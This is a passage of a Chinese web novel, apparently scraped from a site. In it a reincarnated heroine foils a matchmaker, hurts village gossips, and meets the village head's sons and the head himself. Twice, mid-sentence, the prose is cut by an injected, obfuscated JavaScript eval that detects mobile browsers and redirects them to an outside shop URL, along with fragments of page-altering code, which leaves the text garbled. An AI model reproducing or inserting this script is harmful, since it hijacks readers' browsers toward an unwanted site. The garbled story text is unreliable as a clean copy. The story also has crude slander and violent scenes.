“还问什么大喜呢,喏……”相姑婆促狭的用下巴额挑了挑坐着的初暒,笑道,“你家眠眠被村长家的看上了,请我来说亲的,你们一家子真是好福气,攀上这么一门亲,这辈子吃喝都不用愁啦。” 这话听得初家人都蒙了,于嫣红最先明白过来,问,“村长家两个小子,您说的是哪个?” 相姑婆啧了一声,像是怪她问出这般傻话,“还有哪个,哪有先给弟弟说亲的,自然是大的那个了。” 轰隆! 初大年瞪着眼睛,像是被雷劈了一样,他难以置信道,“村长苟看财的大儿子?一说话就流口水,瘸腿还爱蹦跶的那个?” “是了是了,就是他,听说小时候还常跟在眠眠后头喊媳妇呢。” “疯了不成,我妹妹嫁他还不如去做尼姑!”初明大喊,“你这婆子是存心来找我家不痛快的吧!” “你这孩子怎么说话的,你妹妹一个女儿家就敢独自进城玩耍,就这名声有人要就不错了,还挑三拣四的。” “我妹妹名声再怎么不好也不能由你们这么作践!”初明撸起袖子就要赶她走,一旁的初家夫妻也气得浑身发抖,恨不能将她撕碎。 “且慢。” 三人正准备推她出去时,忽听初暒起身阻拦。 初家本就在柏桥村不受村民待见,若是因为她再得罪了村长,往后的日子怕是会更难过的,既然生在这里成为他们的女儿和妹妹,那么初暒就要承担起属于自己的那份责任。 屋子里四个大人都看了过来,初暒思忖了片刻,问,“相姑婆,您来说亲,怎么个说法?” 初大年和初明异口同声喊了句“眠眠!”,于嫣红却静静地看着初暒,似乎在等她自己拿主意。 听主角这么问,相姑婆挣开拽着自己的三人凑到初暒面前急切道,“原来你才是那个机灵的呢,这村长家的苟圣虽说比你大几岁,可我瞧他身体似是不太好了,估计你嫁过去没多时他就要归西啦,他家中这么着急说亲,想来也是因为这个,你辛苦几年若是能争气点生下个一儿半女的,那偌大的家产还不都是你的了。” “可我方才听说他家里好像还有个兄弟呢。” 相姑婆嗐了一声,像是没将他那兄弟放在眼里,“你说苟旦啊,他与你一般大,模样虽说比他哥强些,可奈何是个书呆子,家产什么的你多长个心眼还怕争不过他?哎呀,等他哥死了你嫁给他也成啊,不管怎么说,只要你嫁过去,苟家的就都是你的啦!” 初暒淡淡笑着并不说话,相姑婆又用肩膀碰了碰她,挑眉说,“你往后鸡犬升天了,可别忘了给你牵线的姑婆才是啊。” 初大年气的说不出话,妻子于嫣红又拽着他不叫他动手,正在憋屈时,却听见自家闺女说,“那什么时候让我们见见面,叫我亲眼瞧瞧,他们家是不是像您说的这样好?” “哈哈哈,你倒是个直爽的。”相姑婆想了一下说,“那便赶早不赶巧,就今日如何?早早定下来,过了年就办喜事,也好让咱们柏桥村好好热闹一回。” “行。” 得初暒点头,相姑婆喜笑颜开的转身出门,“那你们等我差人来请,我先去叫他们好好准备准备,哎呀这事要是成了,可是天大的喜事呐……” 发出聒噪声音的人离去,初家好不容易才平静的日子像是又浮起了乌云。 初大年皱着眉担忧问,“闺女,你真想嫁于村长家的苟圣啊?” 初明也说,“眠眠你还小呢,可不能因为旁人说了些好听的就全然听信啊!” 初暒正在思考如何向他们解释,一直默不作声的于嫣红说,“你们俩谁有我眠眠聪慧?平日里若不是眠眠有主意,咱们一家早就任村里人欺辱了,她如今这样应付相姑婆,自有她的道理,吃过饭后,我们等她细说便是。” 初大年和初明连连点头,大家再次坐下吃饭,可这饭菜入口的滋味却与先前大不相同,匆匆吃完,初大年拦着儿子不让他洗碗,初明只好同母亲坐在一处想办法应付相姑婆。 “不论如何,妹妹决不能嫁给苟圣!” 初暒笑笑,问,“为何?” 初明理直气壮地说,“我们眠眠生得漂亮,书读得多人也聪明,还没有为自己好好活过一回怎可轻易嫁人生子。” “可是像我这般大的姑娘,许多都已经嫁人了。” “她们嫁她们的,干你何事,你只管做你想做的事。”于嫣红含泪看着女儿说,“眠眠,我知你担忧拒婚会使家中得罪村长,故而才应了那相姑婆,但娘要告诉你,除了你和明哥的安危,世间没有任何人和事能让爹娘忧心恐惧,欺负我们大人也就罢了,但若谁人敢欺辱你们,爹娘一定会同他们拼命!” 这话说的叫初暒心中一暖,她拍了拍母亲的手安慰道,“有我在,还用不着您为我们拼命,只是这相姑婆一日不打发,此类事情便一日不会消停,我心中已有对策,您且放心,我知道自己在做什么。” 于嫣红点点头,“娘信你。” “苟家人多势众,我要陪妹妹过去!” 初明一副谁拦也不管用的架势,初暒只好答应。 没过多久,初家院外的篱笆门外有人高喊“初眠眠开门!” 这声音清脆,像是个半大的男童,初明像是知道来人是谁,黑着脸去开门,初家夫妻闻声也站起身,担忧的看着一脸淡漠的女儿。 “爹娘,我去去就回。” 初暒理了理自己朴素淡雅的外衣,用寻常姑娘家的步子缓缓踏出房门。 今日天气很好,房檐边冻住的冰棱已经开始消融,落在泥土上发出叮叮咚咚的声响。 初暒许久没有听到过这样叫人平静的音色,一时有些恍惚。 “喂,你呆在哪里墨迹什么,快跟我走,我家好些人都在等你!” 门外的少年瞧着差不多已有十五六岁,可是声线却还是个小孩子,初暒想他就是苟圣的弟弟苟旦,于是逗他,“你就是这样来请我的?” 苟旦冷笑一声,“怎么的,还没进我家大门,就想要我雇八抬大轿请你么?” 初明:“臭小子,你浑说什么!” “我浑说?你们不就是看上我家有钱才想嫁于我兄长吗,你放心,等你真成了我嫂子,别说八抬大轿,就是十八抬我们也雇得起!” 初明被气的不轻,初暒只笑说,“那便借你吉言了。” 苟旦以为自己的阴阳怪气能叫她羞愧难当,却没想到初暒还真想嫁给他哥做他嫂子,一时间也气的吹鼻 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相姑婆扑了个空也不觉尴尬,她顺手将发簪戴回自己头上,挽着初暒一进屋就开始同里头众人介绍,“村长家的快过来看呐,这就是咱们泊桥村大美人嫣红的闺女眠眠,原先病怏怏的,可不知道怎的忽然就好了,想来是个有福气的,定能将这福气也带给未来夫家呢!眠眠你见过各位长辈后先坐这里,姑婆去后宅请你苟伯伯一家。” 初暒见着村长家几位长辈,乖乖巧巧挨个问了好,被人带到厅内坐下后,也不管周围有多少人盯着她看,端起茶杯就开始饮茶,丝毫不见胆怯与局促。 初明平日里极少见过这么多村里人聚在一起,他坐在初暒旁边,双手搓着大腿,眼睛看哪儿都觉得不合适。 初暒为兄长倒了杯茶水,用眼神安抚他,初明看着妹妹淡定自若的模样,既觉得安心又忽然觉得她有些陌生。 村长家要说亲,来看热闹、走人情的人不在少数,村里一些农夫猛地在屋里看见这个俊俏恬静的小丫头眼睛先是一亮,而后又想起她要嫁的那人时,心里莫名泛起了一阵可惜与酸意。 不过,同男子不一样,厅内的妇人一见着初暒便开始捂着嘴小声指指点点,初暒耳力不错,在嘈杂声中仍然能将这些指点听得清清楚楚。 “这就是前几日独自进城的初家丫头,我听说回来的时候衣服都叫人扯破了,啧啧……多半是不干净了……” “可不是么,我家男人亲眼见她回来时人是晕着的,还是明哥将她匆匆忙忙抱回家,他们连个大夫也不敢请,只叫了个疯道士来瞧,好像是今日才清醒过来呢。” “啊?才醒就赶着来相亲啊,这是有多着急,我先前还以为是村长家的苟圣等不及了,原来是初家着急将女儿出手哇。” “烂笋长不出好芽,她娘就是那种货色,生出来的闺女也是个混账东西,小小年纪不学好,偏要仗着姿色出去卖,你瞧那丫头的狐媚样,哪里像她老爹了,那初大年也是个实诚人,两个孩子没一个像他的,却还是宝贝的跟亲生似的,成天拼了老命做工挣钱,我看他要是再不着家,孩子都要跟别人姓了。” “他不在家,可不正好给老婆腾地方……” “哈哈哈……” 妇人们尖酸刻薄的笑声从指缝之间传出,忽听‘砰’的一声,茶杯被人扔过去正好砸在她们脚边,茶杯劣质,瓷碎片从砖地上弹起溅的老高,其中几片渣滓蹦到那几个妇人脸颊额头,鲜血便蹭着皮肤瞬间顺流而下,红稀稀的,叫人只看着就觉瘆得慌。 厅里的众人听见有东西摔碎,都偏头看了过来。 妇人对上宾客们的目光除了感觉自己面颊有点发痒外还没察觉什么,她们下意识抬手一抹却摸到了满手血,几人相互查看时才瞧见对方脸上的口子和血痕。 “啊——这是谁干的!” 见有血光,满屋子人都开始惊慌,有的挤在人堆里查看自己媳妇的伤势,有的连忙跑向后宅想找个苟家能管事的人,可在这乱糟糟之中只有一个人单手搭着空荡荡的茶桌不动如山,仔细看她,眼角里与面色上似乎还带着些许愠怒。 10. 媳妇 初明支支吾吾不愿对妹妹说出初家不与村里人交好的原因,原来不是不愿,而是他难以说出口。 如今初暒走出家门,坐在柏桥村村民之中才能知晓其中真正缘由,只是这缘由听着可真叫人心口窝火。 茶杯没扔过瘾,她们脸上涌出的血痕也不够多,初暒手攥成拳,静静等待一个时机。 “都是死人么!说话啊!谁砸的?这么多人竟没一个人看见么?” 一声怒吼叫人们从呆滞中清醒过来,这时有人喊道,“我看见了!茶杯是初家丫头故意砸过去的!” 终于有人提起了她,初暒一脸无辜,道,“我久病初愈,身上还没好全,一时手滑,不小心砸到各位婶婶了,真是对不住。” 她嘴上说着抱歉的话可身子挪都没挪一下,仍然稳稳的靠在椅子上,方才说话最难听的一个妇人捂着脸颊吼道,“放屁!我家男人都看见是你故意砸的了,你个烂赃婆娘生出的烂赃玩意儿毁了老娘的容,看我怎么收拾你!” 她说着就要扑过来挠初暒的脸,一旁的初明还没反应过来,余光就瞧见自己妹妹猛地起身冲过去一把扼住那妇人的脖子。 不到片刻,方才还嚣张不已的妇人脸颊就快速变得通红,她张着嘴却说不话来,只得双手胡乱扑腾着,想要从初暒手里挣脱开。 初暒的身量在女子中算是十分高挑的,她居高临下的看着妇人快要厥过去时才将手松开,轻轻一推便把她丢趴在地上。 “咳咳……” 妇人伏在初暒脚下能喘上气后,一边咳嗽一边大口呼吸,她抹去眼角因为窒息而涌出来的眼泪,又用手指着初暒,一张老脸上满是恐惧,“杀…杀人了…” 她嘶哑、刺耳的声音响在静若寒蝉的厅内,众人才终于回过神来,毕竟没有人能想到,一个十五六岁、先前还病病殃殃的小姑娘竟敢当着村里人的面对一个妇人下此狠手。 “把她抓起来!报官!” “对!当着这么多人面都敢行凶,当真以为没有王法了?必须报官!” 几个刺头从人群中相互推搡着出来,边说边往初暒站着的地方挤。 初暒还没开口,初明先一个箭步挡在妹妹身前,吼道,“是她先跑过来打我妹妹的!” “为啥要打你妹妹?还不是因为你妹妹故意将茶杯打碎伤了她们么。” “那……” 初明嘴笨,一时间想不出辩驳的话,初暒按下他挡着自己的手臂,从他身侧走出来,冷声问,“报官好啊,报官后我便将尔等蔑视朝廷治安、意欲亲北的言论说出来,看看官府是先治我失手伤人之罪,还是你们亲敌谋叛之罪!” 村里人不知道初暒在说什么,只知晓亲敌谋叛是要杀头的重罪,他们正被初暒唬的面面相觑时,忽听外头相姑婆大喊着跑进来说,“什么报官?报什么官啊……” 相姑婆进了屋,最先看到伏在地上喘气的人,而后是满地的碎片,最后又是脸上挂了彩的几个妇人,“我的天爷呀,这是怎么了?” 老婆被初暒差点掐死的汉子,指着初暒说骂道,“相姑婆,你给村长家说的就是这样的亲么,毁了人家的容不算,竟还要取人性命!我家婆娘差点叫她掐死呢。” “是呢,我们要报官,叫官老爷治他的罪!” 相姑婆心中还在担忧初暒晌午对她说的‘对当朝天子有不满,对我大兴晁都有异心’的罪过,正对官府惧怕着,此刻一听罪魁祸首们还要报官,连忙跺脚摆手,道,“不能报官啊!” 众人七嘴八舌问她为何,相姑婆恨恨地指着他们说,“都怪你们乱传眠眠青天白日进一趟城就能被人抢了,这意思不是说天子脚下其实与那虎狼窝也无异么?这话万一叫官老爷听去了,难保他们不会觉得你们就是被那北漠探子宣扬了晁都凶险北漠安全的百姓呢,若是将我们全村一起治罪,那我们这儿还会有活口么!” 她话说至此,柏桥村村民总算明白初暒说的‘尔等蔑视朝廷治安、意欲亲北的言论’是什么意思。 村里人胆小,这辈子最怕与官府打交道,方才说要报官,不过是想吓吓那个狠毒的小丫头,此时听相姑婆这样说,他们心里倒先露了怯。 “那怎么办,总不能叫这些妇人白白见了血吧。” 相姑婆为难的看着村民,对初暒说,“眠眠,你原先身子不好,鲜少出来走动,姑婆竟不知你是个这样跋扈的姑娘,今日确实是你做错了,但大家都是同村邻居,你先低头给婶婶们认个错,回头再叫你爹娘给他们各家送点礼,这事就算过去了,如何?” 初暒透过窗扇瞥见从后宅走出来的几道身影,冷笑一声了并不理她。 相姑婆被卸了面子,也顾不得体面,她对着初暒咒骂说,“还没嫁过来呢就如此嚣张,你也不想想,得罪了我们大家,这门亲事还能成不能!” ‘哗’的一声,门帘被人挑开,一个面容富态的妇人最先笑呵呵的进门,问,“发生何事了,怎的这亲事还不能成了。” 她一进来,相姑婆就像是见到了救星似的靠过去,为难道,“村长家的,是我看走眼了,竟将这个跋扈闺女说给你们家了,万幸还没叫她过门,不然我就是躺进棺材里也悔恨自己呢。” 相姑婆话里话外都是想将这门亲事搅黄的意思,可是这妇人却看着初暒眼中全是满意。 给自己傻子儿子说亲,却平白把人家闺女独自晾在大厅供访客议论参观这么半天,她要是不知道大厅发生何事,初暒前世看人知意的本事算是白练了。 大厅目睹初家丫头掐人脖子全过程的人都在对村长夫人说初暒坏话,可初暒像是听不见似的,端庄的走到她面前规矩行了个礼,问了声,“婶婶好。” “好好好,你就是眠眠吧,模样果真是随了你娘,是个小美人。”村长夫人兀自说完,又看向相姑婆说,“你原先说要与我家圣儿找个媳妇我还当你是在说浑话,可今日见着这姑娘才知道,你果真对我们家上了心,只是我不明白,你说的‘看走了眼’是什么意思?” 相姑婆心想坏了,今日她说了许多得罪初家的话,若是他们真攀上了村长家的,以后还不定会给自己穿多少小鞋,于是心一横胡诌道,“以前不常在村里见她,前些日子听人说她病好了人瞅着也精神,正巧咱们圣哥到了结亲的年纪,于是我便想着初家都是老实本分的,与您家结亲虽说是高攀,但只要姑娘一家人好就成,可今日我一瞧,这丫头像是被宠坏了,为人跋扈不算,下手还狠毒,方才差点给成家婆娘掐死,所以我说,幸好她没过您家门,不然我都担心身子本就不好的圣哥叫她害死呢。” 村长家的看着自己也不说她的意思,于是初暒瞧准这妇人是想试探她,于是纳闷道,“相姑婆,可您不是怎么对我家说的呀,您那时说‘这村长家的苟圣虽说比我大几岁,可你瞧他身体似是不太好了,估计我嫁过去没多时他就要归西啦,他家中这么着急说亲,想来也是因为这个,我辛苦几年若是能争气点生下个一儿半女的,那偌大的家产还不都是我的了’,还说‘我往后鸡犬升天了,可别忘了给我牵线的姑婆才是啊’。” 她此话一出,厅内众人大气都不敢出,相姑婆没想到这丫头什么话都往外说,一时间面红耳赤的不知该如何是好,她偷看一眼脸色已经变了的村长夫人,吓得赶忙呵斥初暒,“你这丫头胡说什么,我何时说过这样的话!” “我久病不常出门,我家也不怎么与村民们往来,你不说苟圣哥哥近来身子不好,我是如何知道的?” “就算相姑婆这么说,你们家还不是贪图村长家产才应下此事过来相亲么。” 有人插话,初暒像是早已准备好自己的说辞一般,道,“那还不是你们谣传我在城里被人抢了,我一个清白姑娘有了这样的名声谁家还愿意娶我做媳妇?就像相姑婆说的,‘就我这名声有人要就不错了,还挑三拣四的’,因而我也只能认命来了。” 她说完便佯作委屈, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888059|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低头抹了抹不见一丝泪珠的眼睛。 初暒一两句话就将相姑婆说成了想将她当做人情介绍给村长家傻儿子做媳妇的小人,又不动声色的澄清自己独自进城被人抢了这事是村人谣传,只剩下主动为两家牵线的相姑婆里外不是人。 可是人群里仍有明白人指出,“你这样见人就掐的性子,谁能逼迫得了?” 初暒的抽泣声更大了,她委屈却清晰地说,“我知道你们平日里总用肮脏话编排我们一家,只是不曾亲耳听过,可是方才我清清楚楚听见那几位婶婶在造我家的谣,我一个闺阁女儿哪里听过那样的腌臜话,一时气急便摔了被子,可没想到误伤了几位婶婶,骂的最狠的那个婶婶不听我说抱歉,还要伸手打我,我为了自保才掐她的,我还只是个小丫头哪有那么大的力气能扼住成日做农活的妇人的脖子?想来是那婶婶想冤枉我,诓我家给他们家送礼赔偿呢。” 成家差点被掐死的妇人听得目瞪口呆,她揉了揉自己还在隐隐作痛的颈部咽喉,又望了望哭的梨花带雨的少女,开始怀疑方才恶狠狠似是要取她性命的小丫头与眼前这位好像并不是一个人。 看着妹妹哭泣,初明心疼的不得了,他将眠眠揽在怀里说,“我们一家清清白白,你们却总是在背后乱嚼舌根,如今竟欺负到我们兄妹面前,我若是用那些烂话骂你们,你们的子女要是能当做没有听到,反而能客客气气与我讲话,我才愿意承认是我们不对!” 众人都不说话了,村长夫人这时看着缩在一旁的相姑婆冷哼一声说,“好么,我还当你是真心想为我儿说门亲事,原来是想借着人家闺女讨我们一家一个人情,还教唆我未来媳妇等我儿子归西后掠夺家产,算计到我头上来了,怎么,你当我史陆香是死的吗!” 相姑婆猛地摇头,可史陆香却不听她解释,挥手喊了声,“来人,将这个老姑婆打出去,今后甭想进我家的大门!” 几个汉子将相姑婆的嘴捂住推打出去,路过初暒时,唯有那个老婆子瞧见初家丫头低着头本该流泪的眼睛在笑。 说亲的媒人没了,这亲事便说不成了,初明心中一喜,十分想带着妹妹赶快告辞回家。 脸上没受伤的村民凑了一整场热闹,到这会儿也有些累了,他们正准备想个由头离去时,忽听村长家的喜道,“来都来了,明哥你正好代表初家来做个见证,没有媒人,咱两家也能说亲,眠眠,你自己也来瞧瞧,你小时候总跟我家这两个小子玩耍的,只不过后来都生了病不怎么出门,即使是同村,这么些年也不曾见过几回,今日正巧是个机会,你们互相相看相看,万一看对了眼也说不定呢,他俩在院里等候多时了,你且等着,我叫他们进来。” 初明太阳穴一跳,心口噗噗通通开始乱响,他没经历过这样的事,一时间也不知该如何是好,他下意识看向初暒,却见妹妹竟也皱起了眉头。 完了。 初明呆呆地看着史陆香掀开门帘迎着两人进来,因为思绪极为混乱,等那两人进来走到跟前,他才发现他们就是村长家的大小儿子,苟圣和苟旦。 苟旦扶着兄长进来,苟圣一看见初暒就兴奋地喊了句“媳妇!” 他一张嘴,口里的口水就顺着嘴角留了下来,苟旦娴熟的掏出帕子抬手为他抹去,扶着兄长脸色并不是很好看。 苟圣腿脚有毛病,走路一高一低,还偏爱蹦跶,他见弟弟用力扯着自己怎么也挣不开,一生气刚想骂人,可一张嘴,口水又流了出来。 苟旦此刻很想问问初暒瞧见自己兄长这副模样还想不想做他嫂子,可是不知怎的,这眼睛却始终不敢看她,就连为兄长擦口水这种寻常自己做惯了的动作,现下也做得别别扭扭,像是有种脸红难堪的稀奇感觉。 一个没留神,苟圣挣开弟弟的手,他大喊着“媳妇”径直朝初暒扑了过去,动作之迅速,腿脚之敏捷,竟叫厅内所有人都始料不及,初暒从没见过这种架势,瞪着眼睛立在原地,一时也忘了怎么躲开。 11. 村长 苟圣扑过来握住初暒的手时,又龇牙喊了声“媳妇”,嘴里的口水像是刚才已经流完了似的,除了一点干涸印子,白净的小脸上也并不显狼狈。 厅内众人看见这场面,猎奇、打趣、准备看更大一场好戏的笑声忽然响起,女子们许是见过别村傻子逗弄路过姑娘的肮脏样,脸色都刷的一下红了,她们想看又不好意思抬头,只敢挑着眼皮乱瞟,男子们有人眼疾手快的捂着初明的嘴,拦着他不让他乱动,有的死命的往前挤着,生怕一不留神就错过什么香艳场景。 所有人都在看初暒的笑话,看一个清白姑娘如何被一个傻子当众玩弄。 苟旦看着自家兄长的模样心里也慌了,他虽然知道哥哥的德行,可那是眠眠,兄长从小一见她就喊媳妇的眠眠。 他上前走了几步,想将他们两人拉开,他刚迈开脚,就听苟圣说—— “媳妇…不能乱叫……” 他握着初暒的手笑呵呵说,“眠眠是妹妹……我是哥哥……” 他的手是温暖的,眼睛是干净、清澈的。 初暒看着他,脑袋里忽然闪过好些画面。 村里好多小孩在朝一个瘸着腿的男孩丢石子,可那男孩却只捂着自己头咬字不清的喊他们当心石头锋利划伤手,她有些气闷,于是也捡石头砸那些小孩,等赶跑了他们低头一看才发现,自己果真叫锋利的石头划破了手,那瘸腿男孩见她手上有伤,赶忙蹦跶过来用自己的帕子为她止血。 这事情叫之前被打跑的小孩们看到了,又开始编造媳妇相公之类叫人难堪的顺口溜,传的满村都是,于是那瘸腿男孩见了她就喊“媳妇”。 可是她却看着他认真说,“媳妇不能乱叫,我是妹妹,你是哥哥,哥哥永远是哥哥,你是好人,所以我会保护苟圣哥哥。” “哥哥永远是哥哥……我是好人,所以妹妹会保护我。”苟圣说完,将初暒拉到自己身后,又磕磕巴巴道,“苟圣哥哥也要保护妹妹……你…你们谁也不准欺负……眠眠!” 没有人听苟圣说过这么长一段话,就连他的母亲史陆香也没有,她看着儿子激动说,“那便叫妹妹嫁给你做媳妇,你永远保护她如何?” 苟圣摇摇头,坚定说说,“媳妇不能乱叫!眠眠是妹妹……我是哥哥……我只做哥哥!” 这傻子说的傻话又叫周围沉默起来,过了一会儿,才有人说,“哎呀,圣哥这话说的真是顺畅,想来那些病也跟眠眠似的自己就好了!” “是呀,恭喜村长家的,大喜啊!” 村里人见势不对又开始从别的路子讨村长夫人欢欣,史陆香头一回见自己儿子说出这许多完整话,心里既高兴又觉得要是真错过与初家闺女的亲事实在可惜。 不过,儿子么,这个不愿意她还有一个呢。 “嗨呀呀,做妹妹也好,我们家俩小子就缺个姑娘呢,得了,亲事咱们就先不提了,眠眠还小,由她自个多玩几年也好。”史陆香笑笑说,“众乡亲,我当家的今日早早去县里议事了,估摸还得许久才能回来,不等他了,咱们家亲事虽然没说成,可院里酒席已经备下了,无事的快些去占个座,咱们吃好再回!” 听说有酒席,屋子里的人立刻作鸟兽散的往外走,初明挣开拽着自己的几个大哥冲到初暒面前就要带妹妹离开,可是刚一伸手,面前又被苟圣挡住。 “喂!你干什么!那是我妹妹!” 苟圣笑笑说,“吃了…再走……” 初家兄妹被带到苟家后宅一处僻静地方用餐,落座时,苟旦本想坐在初暒身边尽一尽地主之谊,可是他的哥哥和初暒的哥哥却像两只昂着首的公鸡似的,贴着初暒一边坐了一个,他无奈,只得时常起身为初暒夹一些桌上她够不着的饭菜。 史陆香捧着饭碗瞧了个一清二楚,心里暗道,“有戏!” 苟圣身上有病,但却不是傻的。 初暒前世总觉得世间众人本就生而不同,各人有各人的脾性和长处,故而她总是诚心对待来自五湖四海的每一位士兵,将领不喜的人她带,被排挤的人她教,她从不对任何人抱有偏见,没想到柏桥村里小小年纪的初暒也是如此。 伙伴都说苟圣是傻子,可她偏偏说他是好人, 她愿意路见不平,也愿意耐心与‘傻子’解释,从某种程度来说,她们俩其实是相似的。 初暒还在发呆,忽听村长夫人问她,“眠眠喜欢城里?” “兄长时常进城卖点心,他偶尔会带我在城门口转悠,城里面没怎么去过,谈不上喜不喜欢。” “那改日叫苟旦领你去逛逛,尝尝城里大酒楼思朝暮的点心,看有你哥哥做的好吃么?” 苟旦哼了一声,道,“我可没空!” 史陆香:“你近来常往城里跑,得空带眠眠逛逛怎么了,又少不了你一块肉。” 苟旦骄傲说,“我进城是为了参加诗会,又不只是去逛的。” “什么劳什子诗会,都是骗钱的!” “娘你胡说什么呢!”苟旦反驳道,“有风光霁月玉衍君的诗会怎会是骗人的,我听说天下若是有谁能得齐玉衍指点,那第二年科举中不了状元最次也会是探花呢!” 玉衍君? 镇守西南方宣威将军齐震啸的小孙子齐煴玥? 初暒在赤霄军时曾听过齐震啸女婿同夫人誓死守城的事迹,她那时还感叹齐家满门忠勇,却不曾想那对英雄夫妇的小儿子没同他兄长一般习武从军,反而选做学问,成了大才子了。 “呵,什么风光霁月的,谁人不知晓做官的好处,他那么厉害为何不自己考个状元挣的官来做做?” “玉衍君不参加科举是原因的。”苟旦耐着性子与母亲解释说,“前些年齐家大人夫妇拼死守城,双双死在了武江城中,先皇感念他们英勇,欲发恩旨,可朝中有奸人从中作梗,诋毁齐大人身死并非为守城而是畏敌淫威,不战惊惧而亡,先皇一怒,收了齐大人的官职不说还勒令齐家后人不得入朝为官,玉衍君一身才学无以施展只得云游四海,寄情山水了。” 史陆香遗憾说,“啊呀,怪不得齐大将军和他大孙子常年驻守西南,逢年过节也不说回都看看。” 苟旦:“是啊,想来先皇也是觉得自己罚的有些过了,驾崩前曾两度升了齐老将军的官,如今也好,他两个孙子一个从文一个习武,将来无论哪个成才,总算也是个依靠。” 史陆香笑说,“什么依靠不依靠的,去了战场,能留个全尸也是祖上积德,你个臭小子,哪儿学来这些学究说辞,竟敢非议先皇。” “书院先生常念叨呗,课下他总会跟我们说这些闲话。” “你也长大了,有些不该说的话便别说了,当心祸从口出。”想是史陆香觉得自己儿子的见识卖弄的差不多了,这才看向初暒,笑说,“瞧我们母子,一说起话来就没了边,竟冷落了贵客,眠眠,莫要见怪,我儿苟旦平日里没这么多话的。” 初暒搁下碗筷说,“你们只顾说话,好菜都叫我兄妹俩默默吃了,哪里还想得到冷落呢。” “哈哈哈,你吃你吃,这些好东西就是专门给你们留的。” 在村里长这么大,初明从来没有在别人家吃过饭,方才苟旦母子闲谈时没顾上他,他才能安心吃两口,如今看大家吃的差不多开始客套了,他反而无措的不知道该说些什么。 此刻初明静静坐在妹妹旁边,听她游刃有余的与村长夫人热络闲谈,竟恍惚觉得自己活脱像个跟着姐姐出来混饭吃的小兄弟。 桌上茶水已经添过几回,院外吃席的村里人也走的差不多了,初暒与村长夫人聊得无话可说,却丝毫不见这妇人有放自己走的意思,她按捺着性子继续搭着话,看着妇人究竟想做什么。 正想着,外头忽然有人喊道—— “啊呀村长您怎么忙到这会儿了?可曾用过饭了?” “议完事,县里的安排吃了,天黑,你们吃好就快些归家吧。” “吃了您家这么些好东西,不给收拾收拾哪好意思回去,您歇着吧,我们慢慢打扫着……” “那便辛苦你们……” 外头寒暄完,一道匆忙地身影便掀帘进了内堂,初暒借着方才点起的油灯,看清这人竟是她那天进城时,在柏桥村口见着的那位中年男子。 原来这就是私房钱藏在房梁的苟村长。 苟看财进屋看到初家小子和一位陌生姑娘,问了句,“呦,这是哪家的闺女?”话一说出口, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888060|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他才记起,这丫头估摸就是相姑婆说给苟圣的初家丫头。 “伯伯好,我是眠眠,这位是我大哥初明。” 初明起身道,“村长好,今日我们兄妹俩叨扰了。” 苟看财见他们二人这么晚还在他家中,还以为亲事已经说成了,正打算说些吉祥话时,却看见自家婆娘在跟自己挤眼睛,顿时有些摸不着头脑。 史陆香起身接过丈夫脱下来的外衣,问,“吃了没有?今日怎么这么晚才回来?” “吃了吃了,别再问了,你一提起今日我就头大。” 苟旦:“爹,发生何事了?” 苟看财刚舒缓下来的眉头又开始紧缩,他叹了口气道,“县里下了通知,年后各村要按照各村户人头交粮,可这年关将至又离开春还早着,哪户肯将家中余粮交出来,上头这道令不是摆明了叫我们难做么。” 苟旦问,“也不到上税的月份,好端端的为何要交粮?” “还不是天杀的卖国贼慕初!”苟看财恨恨道,“我听曹县长说,就是因为这狗贼几个月前伙同五千叛军,于映月关外勾结外敌,意图打开中北咽喉将文、兴、武、盛四城拱手让人,若不是慕大将军设计围剿,且率两千精兵死守映月关,全歼敌军狡攻主力,击退北漠驻边境残营,文州城才未能如那贼人所愿,落入漠匪手里。” 初暒淡定的举杯饮茶,对面的苟旦却想不明白,“这事晁都城百姓周知,可又跟咱们交粮有何干系。” 苟看财:“皆是由映月关一战而起,北漠以为他与慕初里应外合可以攻占文、兴、武、盛四城,故而倾举国之力筹粮征兵备战,却没想到慕将军的赤霄军勇猛无敌,仅用两千兵力就杀得他们屁滚尿流、落荒而逃……北漠……” “呵……” 听到这里,初暒终于忍不住笑出声来。 北漠那时在映月关外聚集至少十万余兵力,是她带领五千精兵死守映月关,才护住文州城,可如今百姓们张冠李戴,竟将慕峰青这个草包宣扬的勇猛无敌,实在可笑! 听见这没规矩的小丫头插嘴发笑,苟看财不满的瞪了她一眼,苟旦见父亲不悦,忙道,“爹,您继续说,北漠怎么了?” 儿子开口缓和,苟看财这才又说,“北漠冬日无粮也没有过冬用的棉衣,只好抛了面子挑了位公主来中北和亲,说是来和亲,无非是想借口从朝廷讨些回礼罢了。” 史陆香:“给回礼怎么了,往些年北漠、南夷使臣来晁进贡,朝廷都是要回礼的。” “你们妇道人家懂什么?映月关一战难道就北漠砸了钱死了人么,你当咱们中北的钱是大风刮来的?打仗这事最是劳民伤财,这么些年与北漠征战,与南夷周旋,朝廷花了多少银子,我们小老百姓根本连想都不敢想,这回北漠刚一吃了败仗就来要钱,要是朝廷不给或是给的少了,还不叫那些蛮子大牙都要笑掉了。” “朝廷要充胖子,可害苦我们庄稼人了。”史陆香担忧的问,“再几日就是新岁了,当家的,你这差事能办成不能?” “办不成,我这小村长就别做了呗。” 他此言一处,苟家两位明白人立时忧心忡忡,唯有苟圣拍着手高兴说,“爹不做村长……就能同我和弟弟玩喽!” 苟看财哭笑不得,“我怎么就生了你这么个傻子。” 